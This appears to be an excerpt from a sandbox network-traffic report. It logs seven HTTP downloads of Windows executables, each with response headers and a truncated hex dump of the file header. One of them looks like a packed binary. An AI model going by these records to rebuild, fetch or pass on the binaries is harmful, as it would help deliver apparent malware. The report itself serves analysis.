Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 07:55:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 07:56:02 GMTContent-Type: application/octet-streamContent-Length: 1932288Last-Modified: Thu, 28 Nov 2024 07:35:58 GMTConnection: keep-aliveETag: "67481d5e-1d7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4c 00 00 04 00 00 c3 9f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 3e 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 3d 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 76 79 77 78 61 6c 00 60 1a 00 00 e0 31 00 00 60 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 68 6f 6a 79 68 61 74 00 10 00 00 00 40 4c 00 00 04 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4c 00 00 22 00 00 00 5a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
